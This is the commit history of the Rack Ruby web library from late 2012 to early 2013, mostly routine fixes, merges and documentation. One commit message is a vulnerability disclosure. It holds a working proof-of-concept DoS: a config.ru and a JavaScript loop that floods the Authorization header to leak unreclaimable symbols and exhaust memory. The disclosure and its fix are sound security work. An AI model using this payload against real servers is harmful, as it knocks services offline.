rack
12 years agoSwitch to RFC 2822 expires rfc2822_expires
James Tucker [Tue, 22 Jan 2013 04:12:57 +0000 (20:12 -0800)]
Switch to RFC 2822 expires

12 years agoFix a long standing misnomer for date formats
James Tucker [Mon, 21 Jan 2013 22:01:58 +0000 (14:01 -0800)]
Fix a long standing misnomer for date formats

References #414

12 years agoUse Dir.tmpdir instead of hardcoded /tmp
James Tucker [Mon, 21 Jan 2013 21:30:16 +0000 (13:30 -0800)]
Use Dir.tmpdir instead of hardcoded /tmp

Closes #492

12 years agoDon't modify the middleware hash in Rack::Server
James Tucker [Mon, 21 Jan 2013 21:24:24 +0000 (13:24 -0800)]
Don't modify the middleware hash in Rack::Server

 * Closes #498

12 years agoMerge pull request #496 from homakov/patch-3
James Tucker [Mon, 21 Jan 2013 21:17:23 +0000 (13:17 -0800)]
Merge pull request #496 from homakov/patch-3

Remove never called string

12 years agoRemove never called string
Egor Homakov [Mon, 14 Jan 2013 15:48:10 +0000 (22:48 +0700)]
Remove never called string

Previous check `p.empty?` makes sure that p contains at least 1 symbol.
After `.split('=', 2)` k or v or both will turn into some string which means `k || v` will always return true and `next` will never be called.

12 years agoUpdate to 1.5.0.beta.2
James Tucker [Sun, 13 Jan 2013 22:10:08 +0000 (14:10 -0800)]
Update to 1.5.0.beta.2

12 years agoUpdate README security notes
James Tucker [Sun, 13 Jan 2013 22:09:25 +0000 (14:09 -0800)]
Update README security notes

12 years agoUpdate README for release. Add security section.
James Tucker [Sun, 13 Jan 2013 21:55:50 +0000 (13:55 -0800)]
Update README for release. Add security section.

12 years agoRack::Auth::AbstractRequest#scheme returns strings
James Tucker [Sun, 13 Jan 2013 21:46:27 +0000 (13:46 -0800)]
Rack::Auth::AbstractRequest#scheme returns strings

 * This is a breaking API change, but doesn't appear to be used in public

12 years agoSquash test warnings
James Tucker [Sun, 13 Jan 2013 21:37:30 +0000 (13:37 -0800)]
Squash test warnings

12 years agoTurn warnings back on for basic test runs
James Tucker [Sun, 13 Jan 2013 21:33:30 +0000 (13:33 -0800)]
Turn warnings back on for basic test runs

12 years agoSquash warnings in spec_auth
James Tucker [Sun, 13 Jan 2013 21:33:08 +0000 (13:33 -0800)]
Squash warnings in spec_auth

12 years agoReimplement auth scheme fix
James Tucker [Sun, 13 Jan 2013 21:10:20 +0000 (13:10 -0800)]
Reimplement auth scheme fix

 * Add Rack::Auth.add_scheme to enable folks to fix anything that breaks
 * Add common auth schemes, MS ones, AWS ones, etc are missing, as unlikely
 * Checked Rails - they don't use our authorization code
 * Checked Warden - uses rails
 * Checked Omniauth - uses rails
 * Checked doorkeeper - users rails
 * Checked rack-authentication - does it's own thing
 * Checked warden-oauth - doesn't do headers
 * Checked devise - uses rails
 * Checked oauth2-rack - header creation only
 * Checked rack-oauth2-server - does it's own thing
 * Probably missed a bunch, but that'll have to do

12 years agoRevert "Merge pull request #494 from homakov/patch-2"
James Tucker [Sun, 13 Jan 2013 20:31:12 +0000 (12:31 -0800)]
Revert "Merge pull request #494 from homakov/patch-2"

This reverts commit 9b76e4fb58b5870ff48ba9704432787bc2e76cfb, reversing
changes made to bf32f4bbfc5401dde48341cd5e664e2f7837d151.

12 years agoMerge pull request #494 from homakov/patch-2
Konstantin Haase [Sun, 13 Jan 2013 15:29:24 +0000 (07:29 -0800)]
Merge pull request #494 from homakov/patch-2

Remove .to_sym in Authorization scheme

12 years agoRemove .to_sym in Authorization scheme
Egor Homakov [Sun, 13 Jan 2013 15:15:25 +0000 (22:15 +0700)]
Remove .to_sym in Authorization scheme

Hello, `.to_sym` should never be applied on user input. Thus I recommend you to change `scheme` method:
```
  def scheme
    @scheme ||= parts.first.downcase.to_sym
  end
```
While we can't send enourmous emount of `Authorization` headers we can make it as long as it's possible. 
This is PoC. App:
```
cat config.ru 
require 'rack'
run lambda{|e|
    auth =  Rack::Auth::Basic::Request.new(e)
    puts auth.basic? if auth.provided?
    puts Symbol.all_symbols.size
    [200, {'Content-Type'=>'text/html'},['IM FINE']]
}
```
Simple Javascript to DoS it:
```
var base = ["aa", "ab", "ac", "ad", "ae", "af", "ag", "ah", "ai", "aj", "ak", "al", "am", "an", "ao", "ap", "aq", "ar", "as", "at", "au", "av", "aw", "ax", "ay", "az", "ba", "bb", "bc", "bd", "be", "bf", "bg", "bh", "bi", "bj", "bk", "bl", "bm", "bn", "bo", "bp", "bq", "br", "bs", "bt", "bu", "bv", "bw", "bx", "by", "bz", "ca", "cb", "cc", "cd", "ce", "cf", "cg", "ch", "ci", "cj", "ck", "cl", "cm", "cn", "co", "cp", "cq", "cr", "cs", "ct", "cu", "cv", "cw", "cx", "cy", "cz", "da", "db", "dc", "dd", "de", "df", "dg", "dh", "di", "dj", "dk", "dl", "dm", "dn", "do", "dp", "dq", "dr", "ds", "dt", "du", "dv", "dw", "dx", "dy", "dz", "ea", "eb", "ec", "ed", "ee", "ef", "eg", "eh", "ei", "ej", "ek", "el", "em", "en", "eo", "ep", "eq", "er", "es", "et", "eu", "ev", "ew", "ex", "ey", "ez", "fa", "fb", "fc", "fd", "fe", "ff", "fg", "fh", "fi", "fj", "fk", "fl", "fm", "fn", "fo", "fp", "fq", "fr", "fs", "ft", "fu", "fv", "fw", "fx", "fy", "fz", "ga", "gb", "gc", "gd", "ge", "gf", "gg", "gh", "gi", "gj", "gk", "gl", "gm", "gn", "go", "gp", "gq", "gr", "gs", "gt", "gu", "gv", "gw", "gx", "gy", "gz", "ha", "hb", "hc", "hd", "he", "hf", "hg", "hh", "hi", "hj", "hk", "hl", "hm", "hn", "ho", "hp", "hq", "hr", "hs", "ht", "hu", "hv", "hw", "hx", "hy", "hz", "ia", "ib", "ic", "id", "ie", "if", "ig", "ih", "ii", "ij", "ik", "il", "im", "in", "io", "ip", "iq", "ir", "is", "it", "iu", "iv", "iw", "ix", "iy", "iz", "ja", "jb", "jc", "jd", "je", "jf", "jg", "jh", "ji", "jj"];
var total_sent = 0
for(var num in base){
var x = new XMLHttpRequest;
x.open('GET','/'); 
str = '';
for(i=0;i<2000000;i++){
    str+='Ё'+base[num]+i;
}
x.setRequestHeader('Authorization',str+' lol')
x.send();
console.log('Total sent: ',total_sent+=str.length);
}
```
When we run JS every request carries 18888890 letters in a symbol. This 'data' will never be garbarge collectored.
Should it be fixed?

12 years agoMerge branch 'hijack'
James Tucker [Fri, 11 Jan 2013 22:57:12 +0000 (14:57 -0800)]
Merge branch 'hijack'

* hijack:
  Hijack SPEC changes after review discussion
  Add straw man for the after-headers hijack
  Straw man for rack.hijack*, connection hijacking!

12 years agoHijack SPEC changes after review discussion
James Tucker [Fri, 11 Jan 2013 22:56:52 +0000 (14:56 -0800)]
Hijack SPEC changes after review discussion

12 years agoAdd q-value helpers for Accept headers, etc.
James Tucker [Fri, 11 Jan 2013 22:26:04 +0000 (14:26 -0800)]
Add q-value helpers for Accept headers, etc.

 * Supersedes and closes #443

12 years agoIntroduce Rack::Mime.match?, references #443
James Tucker [Fri, 11 Jan 2013 18:39:17 +0000 (10:39 -0800)]
Introduce Rack::Mime.match?, references #443

12 years agoMinor code review comments closing #451
James Tucker [Fri, 11 Jan 2013 18:22:02 +0000 (10:22 -0800)]
Minor code review comments closing #451

 * Adds documentation
 * find is preferred over detect
 * Superseded body objects should be closed

12 years agoRevert "Set TMPDIR to fix Dir.mktmpdir under jRuby"
James Tucker [Fri, 11 Jan 2013 18:14:40 +0000 (10:14 -0800)]
Revert "Set TMPDIR to fix Dir.mktmpdir under jRuby"

This reverts commit 3b24fa958ba43baad66c7e866990e052497c89f8.

12 years agoMerge branch 'sendfile_path_mapping' of git://github.com/Casecommons/rack into sendfile
James Tucker [Fri, 11 Jan 2013 18:13:58 +0000 (10:13 -0800)]
Merge branch 'sendfile_path_mapping' of git://github.com/Casecommons/rack into sendfile

* 'sendfile_path_mapping' of git://github.com/Casecommons/rack:
  Set TMPDIR to fix Dir.mktmpdir under jRuby
  Additional Ruby 1.8 compaitiblity
  Make spec_sendfile work with Ruby < 1.9
  Initialize Rack::Sendfile with accel mappings

12 years agoEnable unix sockets with paths as trusted proxies
James Tucker [Fri, 11 Jan 2013 18:08:07 +0000 (10:08 -0800)]
Enable unix sockets with paths as trusted proxies

 * Supersedes and closes #488

12 years agoMerge pull request #491 from spastorino/allow_build_different_session_object
James Tucker [Fri, 11 Jan 2013 17:02:17 +0000 (09:02 -0800)]
Merge pull request #491 from spastorino/allow_build_different_session_object

Allow subclasses build a different Session Object

12 years agoAllow subclasses build a different Session Object
Santiago Pastorino [Fri, 11 Jan 2013 03:57:54 +0000 (01:57 -0200)]
Allow subclasses build a different Session Object

12 years agoMerge pull request #490 from slivu/master
James Tucker [Fri, 11 Jan 2013 02:51:51 +0000 (18:51 -0800)]
Merge pull request #490 from slivu/master

Added Reel Web Server and Espresso Framework to supported software list

12 years agoMerge pull request #489 from spastorino/abstract_id_tiny_patches
James Tucker [Fri, 11 Jan 2013 02:51:35 +0000 (18:51 -0800)]
Merge pull request #489 from spastorino/abstract_id_tiny_patches

Abstract id tiny patches

12 years agoUpdate README.rdoc
slivu [Thu, 10 Jan 2013 14:19:58 +0000 (16:19 +0200)]
Update README.rdoc

12 years agoFix current_session_id docs, id it's retrieved from SessionHash now
Santiago Pastorino [Thu, 10 Jan 2013 14:03:34 +0000 (12:03 -0200)]
Fix current_session_id docs, id it's retrieved from SessionHash now

12 years agoImplement the ID API correctly
Santiago Pastorino [Thu, 10 Jan 2013 02:53:40 +0000 (00:53 -0200)]
Implement the ID API correctly

12 years agoSession is already loaded at this point
Santiago Pastorino [Thu, 10 Jan 2013 02:44:02 +0000 (00:44 -0200)]
Session is already loaded at this point

12 years agoRename by to store to match better the purpose of that object
Santiago Pastorino [Wed, 9 Jan 2013 02:59:10 +0000 (00:59 -0200)]
Rename by to store to match better the purpose of that object

12 years agoMerge pull request #487 from carlosantoniodasilva/remove-warnings
James Tucker [Mon, 7 Jan 2013 22:01:01 +0000 (14:01 -0800)]
Merge pull request #487 from carlosantoniodasilva/remove-warnings

Remove warnings: 'not used variable' and 'shadowing outer variable'

12 years agoRemove warnings: 'not used variable' and 'shadowing outer variable'
Carlos Antonio da Silva [Mon, 7 Jan 2013 21:12:42 +0000 (19:12 -0200)]
Remove warnings: 'not used variable' and 'shadowing outer variable'

12 years agoAdd release announcements to README
James Tucker [Mon, 7 Jan 2013 18:46:43 +0000 (10:46 -0800)]
Add release announcements to README

12 years agomultipart/parser: avoid unbounded #gets method
Eric Wong [Wed, 22 Aug 2012 22:48:23 +0000 (22:48 +0000)]
multipart/parser: avoid unbounded #gets method

Malicious clients may send excessively long lines
to trigger out-of-memory errors in a Rack web server.

12 years agoMerge pull request #484 from oscardelben/update_examples
James Tucker [Mon, 7 Jan 2013 03:35:31 +0000 (19:35 -0800)]
Merge pull request #484 from oscardelben/update_examples

Update Lobster example

12 years agoUpdate Lobster example
Oscar Del Ben [Mon, 7 Jan 2013 03:20:29 +0000 (19:20 -0800)]
Update Lobster example

12 years agoMerge pull request #483 from oscardelben/update_readme
James Tucker [Mon, 7 Jan 2013 03:02:14 +0000 (19:02 -0800)]
Merge pull request #483 from oscardelben/update_readme

Remove reference to dead link

12 years agoRemove reference to dead link
Oscar Del Ben [Mon, 7 Jan 2013 02:53:52 +0000 (18:53 -0800)]
Remove reference to dead link

12 years agoUpdate release date from rack-1.3 branch
James Tucker [Sun, 6 Jan 2013 23:49:41 +0000 (15:49 -0800)]
Update release date from rack-1.3 branch

12 years agoAdd missing release section from 1.1 branch
James Tucker [Sun, 6 Jan 2013 23:41:50 +0000 (15:41 -0800)]
Add missing release section from 1.1 branch

12 years agoAdd todays releases to the README
James Tucker [Sun, 6 Jan 2013 23:03:47 +0000 (15:03 -0800)]
Add todays releases to the README

12 years agoMerge pull request #482 from oscardelben/fix_webrick_port
James Tucker [Sun, 6 Jan 2013 22:20:36 +0000 (14:20 -0800)]
Merge pull request #482 from oscardelben/fix_webrick_port

Add default port to webrick

12 years agoAdd default port to webrick
Oscar Del Ben [Sat, 5 Jan 2013 22:53:19 +0000 (14:53 -0800)]
Add default port to webrick

12 years agoAdd straw man for the after-headers hijack
James Tucker [Sat, 5 Jan 2013 02:28:15 +0000 (21:28 -0500)]
Add straw man for the after-headers hijack

12 years agoStraw man for rack.hijack*, connection hijacking!
James Tucker [Fri, 4 Jan 2013 23:33:07 +0000 (18:33 -0500)]
Straw man for rack.hijack*, connection hijacking!

12 years agoMerge pull request #480 from udzura/master
James Tucker [Fri, 4 Jan 2013 17:17:36 +0000 (09:17 -0800)]
Merge pull request #480 from udzura/master

Add a rackup option for a one-liner rack app server

12 years agomaster is now Rack 1.5, SPEC 1.2.
James Tucker [Fri, 4 Jan 2013 16:46:46 +0000 (11:46 -0500)]
master is now Rack 1.5, SPEC 1.2.

12 years agoFix parsing performance for unquoted filenames
James Tucker [Sun, 13 May 2012 22:02:17 +0000 (15:02 -0700)]
Fix parsing performance for unquoted filenames

Special thanks to Paul Rogers & Eric Wong

Conflicts:
test/spec_multipart.rb

12 years agoAdd a rackup option for one-liner rack app server
Uchio KONDO [Thu, 3 Jan 2013 03:00:27 +0000 (12:00 +0900)]
Add a rackup option for one-liner rack app server

12 years agoExtract Builder.new_from_string from Builder.parse_file
Uchio KONDO [Thu, 3 Jan 2013 02:45:47 +0000 (11:45 +0900)]
Extract Builder.new_from_string from Builder.parse_file

12 years agoCleanup Lint Content-Type section after 3623d04
James Tucker [Sun, 30 Dec 2012 05:31:14 +0000 (00:31 -0500)]
Cleanup Lint Content-Type section after 3623d04

12 years agoRevert "Merge pull request #259 from bartuer/master"
James Tucker [Sun, 30 Dec 2012 05:17:56 +0000 (00:17 -0500)]
Revert "Merge pull request #259 from bartuer/master"

This reverts commit ec5634c6151412a722df7c3305fd3b6291a66ec5, reversing
changes made to c23edf4f7d43ed9fba3fde1cbcf7ebf286730829.

12 years agoMerge pull request #259 from bartuer/master
James Tucker [Sun, 30 Dec 2012 05:15:12 +0000 (21:15 -0800)]
Merge pull request #259 from bartuer/master

add content type check to deflater

12 years agoMerge pull request #367 from rack/mime_type
James Tucker [Sun, 30 Dec 2012 04:36:57 +0000 (20:36 -0800)]
Merge pull request #367 from rack/mime_type

Mime type corrections

12 years agoCorrect some of the mime type issues. References #316 and #366.
James Tucker [Sat, 17 Mar 2012 19:50:59 +0000 (12:50 -0700)]
Correct some of the mime type issues. References #316 and #366.
HTTP 1.0 and 1.1 do not have MUST for Content-Type requirements, they have "should" (not SHOULD). They also have text describing how clients should handle this header being missing.

12 years agoFix parsing multiple ranges
Sokolov Yura [Fri, 9 Nov 2012 09:58:56 +0000 (13:58 +0400)]
Fix parsing multiple ranges

Fix parsing miltiple ranges in HTTP_RANGE header according to w3 rfc2616 (according to last example in sec14.35.1 http://www.w3.org/Protocols/rfc2616/rfc2616-sec14.html#sec14.35.1 ) (according to BNF rules in http://www.w3.org/Protocols/rfc2616/rfc2616-sec2.html#sec2.1 )

12 years ago.woff now has an official mime type!
James Tucker [Sat, 29 Dec 2012 20:47:59 +0000 (15:47 -0500)]
.woff now has an official mime type!

 * Closes #405

12 years agoMerge pull request #458 from hexfet/master
James Tucker [Sat, 29 Dec 2012 20:44:56 +0000 (12:44 -0800)]
Merge pull request #458 from hexfet/master

Allow EOFError exception to be passed through

12 years agoDo not fail on cookies that are not URI escaped
James Tucker [Sat, 29 Dec 2012 20:28:25 +0000 (15:28 -0500)]
Do not fail on cookies that are not URI escaped

 * Closes #360

12 years agoAdd a note in KNOWN-ISSUES regarding ECMA escape
James Tucker [Sat, 29 Dec 2012 18:04:46 +0000 (13:04 -0500)]
Add a note in KNOWN-ISSUES regarding ECMA escape

12 years agoMerge pull request #476 from spastorino/fix_2_0_build
James Tucker [Sat, 29 Dec 2012 19:59:43 +0000 (11:59 -0800)]
Merge pull request #476 from spastorino/fix_2_0_build

Fix Ruby 2.0 build

12 years agoFix Ruby 2.0 build
Santiago Pastorino [Sat, 29 Dec 2012 19:36:08 +0000 (17:36 -0200)]
Fix Ruby 2.0 build

12 years agoadd ruby 2.0 to travis matrix
Konstantin Haase [Sat, 29 Dec 2012 19:05:04 +0000 (20:05 +0100)]
add ruby 2.0 to travis matrix

12 years agoMerge pull request #475 from spastorino/remove_2_0_warns
Konstantin Haase [Sat, 29 Dec 2012 18:51:55 +0000 (10:51 -0800)]
Merge pull request #475 from spastorino/remove_2_0_warns

Use to_enum instead of Enumerator.new to remove Ruby 2.0 warnings

12 years agoUse to_enum instead of Enumerator.new to remove Ruby 2.0 warnings
Santiago Pastorino [Sat, 29 Dec 2012 18:49:27 +0000 (16:49 -0200)]
Use to_enum instead of Enumerator.new to remove Ruby 2.0 warnings

This commit avoid warn message
Enumerator.new without a block is deprecated; use Object#to_enum

12 years agoMerge pull request #474 from yeban/handlers_puma
James Tucker [Sat, 29 Dec 2012 16:37:22 +0000 (08:37 -0800)]
Merge pull request #474 from yeban/handlers_puma

Add puma as a potential default alongside thin (replace #455).

12 years agoAdd puma as a potential default alongside thin (close #455).
Anurag Priyam [Fri, 28 Dec 2012 22:50:55 +0000 (22:50 +0000)]
Add puma as a potential default alongside thin (close #455).

Signed-off-by: Anurag Priyam <anurag08priyam@gmail.com>
12 years agoIntroduce Rack::Handler.pick ...
Anurag Priyam [Fri, 28 Dec 2012 22:46:41 +0000 (22:46 +0000)]
Introduce Rack::Handler.pick ...

... to select first available Rack handler given a list of server names.

This functionality is ripped off Sinatra::Base.detect_rack_handler with very
minor semantic and cosmetic changes.

Signed-off-by: Anurag Priyam <anurag08priyam@gmail.com>
12 years agoMerge pull request #453 from unbit/master
James Tucker [Sat, 29 Dec 2012 01:03:18 +0000 (17:03 -0800)]
Merge pull request #453 from unbit/master

add uWSGI to the list of servers supporting Rack

12 years agoMerge pull request #473 from oscardelben/document_rack_lock
James Tucker [Sat, 29 Dec 2012 00:51:13 +0000 (16:51 -0800)]
Merge pull request #473 from oscardelben/document_rack_lock

Add documentation

12 years agoDocument Rack::Config
Oscar Del Ben [Wed, 26 Dec 2012 04:32:08 +0000 (20:32 -0800)]
Document Rack::Config

12 years agoDocument Rack::Head
Oscar Del Ben [Wed, 26 Dec 2012 04:19:14 +0000 (20:19 -0800)]
Document Rack::Head

12 years agoDocument Rack::Lock
Oscar Del Ben [Wed, 26 Dec 2012 04:09:14 +0000 (20:09 -0800)]
Document Rack::Lock

12 years agoRefactor spec_cascade and spec_head
James Tucker [Fri, 28 Dec 2012 22:38:51 +0000 (17:38 -0500)]
Refactor spec_cascade and spec_head

 * StringIO is a better choice than a struct here.

12 years agoRack::Response now conforms to body.close SPEC
James Tucker [Fri, 28 Dec 2012 22:36:36 +0000 (17:36 -0500)]
Rack::Response now conforms to body.close SPEC

 * Previously 204, 205 and 304 bodies were not closed correctly.

12 years agoRack::Head now conforms to body.close SPEC
James Tucker [Fri, 28 Dec 2012 22:28:26 +0000 (17:28 -0500)]
Rack::Head now conforms to body.close SPEC

12 years agoCascade now conforms to the body.close SPEC
James Tucker [Fri, 28 Dec 2012 22:19:04 +0000 (17:19 -0500)]
Cascade now conforms to the body.close SPEC

12 years agoClarify the body.close spec section
James Tucker [Fri, 28 Dec 2012 22:02:06 +0000 (17:02 -0500)]
Clarify the body.close spec section

 * This item is frequently missed, including in core.
 * This is not a change in semantic requirement, and does not update the SPEC
   version.

12 years agoRevert "Merge pull request #470 from oscardelben/spec"
James Tucker [Fri, 28 Dec 2012 21:43:20 +0000 (16:43 -0500)]
Revert "Merge pull request #470 from oscardelben/spec"

This reverts commit 72573c161cd18220f233a9cc4f63245f7ae76629, reversing
changes made to 8a3b6295e343339fdfc3445b9d762cb1685f5286.

12 years agoMerge pull request #470 from oscardelben/spec
Konstantin Haase [Sat, 15 Dec 2012 09:50:54 +0000 (01:50 -0800)]
Merge pull request #470 from oscardelben/spec

update spec

12 years agoMerge pull request #469 from oscardelben/typo
Konstantin Haase [Sat, 15 Dec 2012 09:48:57 +0000 (01:48 -0800)]
Merge pull request #469 from oscardelben/typo

tweak Cascade docs

12 years agoupdate spec
Oscar Del Ben [Sat, 15 Dec 2012 06:57:08 +0000 (22:57 -0800)]
update spec

12 years agotweak Cascade docs
Oscar Del Ben [Sat, 15 Dec 2012 05:46:24 +0000 (21:46 -0800)]
tweak Cascade docs

12 years agofixes for 1.8
Konstantin Haase [Wed, 12 Dec 2012 10:37:24 +0000 (11:37 +0100)]
fixes for 1.8

12 years agoMerge branch 'master' of github.com:rack/rack
Konstantin Haase [Wed, 12 Dec 2012 10:13:51 +0000 (11:13 +0100)]
Merge branch 'master' of github.com:rack/rack

12 years agobetter support for coffee protocol
Konstantin Haase [Wed, 12 Dec 2012 10:13:39 +0000 (11:13 +0100)]
better support for coffee protocol

12 years agowhitespace removal
Konstantin Haase [Wed, 12 Dec 2012 10:04:48 +0000 (11:04 +0100)]
whitespace removal

12 years agoAllow EOFError exception from request parser to continue up the stack.
hexfet [Sun, 18 Nov 2012 01:59:35 +0000 (20:59 -0500)]
Allow EOFError exception from request parser to continue up the stack.

12 years agoadded uWSGI to the list of servers supporting Rack
unbit [Mon, 12 Nov 2012 08:14:18 +0000 (09:14 +0100)]
added uWSGI to the list of servers supporting Rack

12 years agoSet TMPDIR to fix Dir.mktmpdir under jRuby
Alex Rakoczy & Matthew Horan [Thu, 8 Nov 2012 03:10:36 +0000 (22:10 -0500)]
Set TMPDIR to fix Dir.mktmpdir under jRuby

12 years agoAdditional Ruby 1.8 compaitiblity
Alex Rakoczy & Matthew Horan [Wed, 7 Nov 2012 22:39:07 +0000 (17:39 -0500)]
Additional Ruby 1.8 compaitiblity

Mappings are arrays of arrays to preserve order.
Define to_path on File objects in spec_sendfile.

12 years agoMake spec_sendfile work with Ruby < 1.9
Alex Rakoczy & Matthew Horan [Wed, 7 Nov 2012 21:47:22 +0000 (16:47 -0500)]
Make spec_sendfile work with Ruby < 1.9

12 years agoInitialize Rack::Sendfile with accel mappings
Alex Rakoczy, Matthew Horan & Ryan Ong [Wed, 7 Nov 2012 20:33:50 +0000 (15:33 -0500)]
Initialize Rack::Sendfile with accel mappings

Instead of requiring the X-Accel-Mapping header to be sent by nginx,
this allows separation of concerns between application and server
configuration.

12 years agoDeprecated Rack::File cache_control option for 1.5
James Tucker [Sat, 3 Nov 2012 17:32:46 +0000 (10:32 -0700)]
Deprecated Rack::File cache_control option for 1.5

12 years agoFix non-conflicting merge failure from prior merge
James Tucker [Sat, 3 Nov 2012 17:30:31 +0000 (10:30 -0700)]
Fix non-conflicting merge failure from prior merge

12 years agoMerge pull request #342 from brainopia/e5b4d961e5cb310bffca18a2cf72a11b1075f8bd
James Tucker [Sat, 3 Nov 2012 17:29:00 +0000 (10:29 -0700)]
Merge pull request #342 from brainopia/e5b4d961e5cb310bffca18a2cf72a11b1075f8bd

Rack::Session remove inheritance from Hash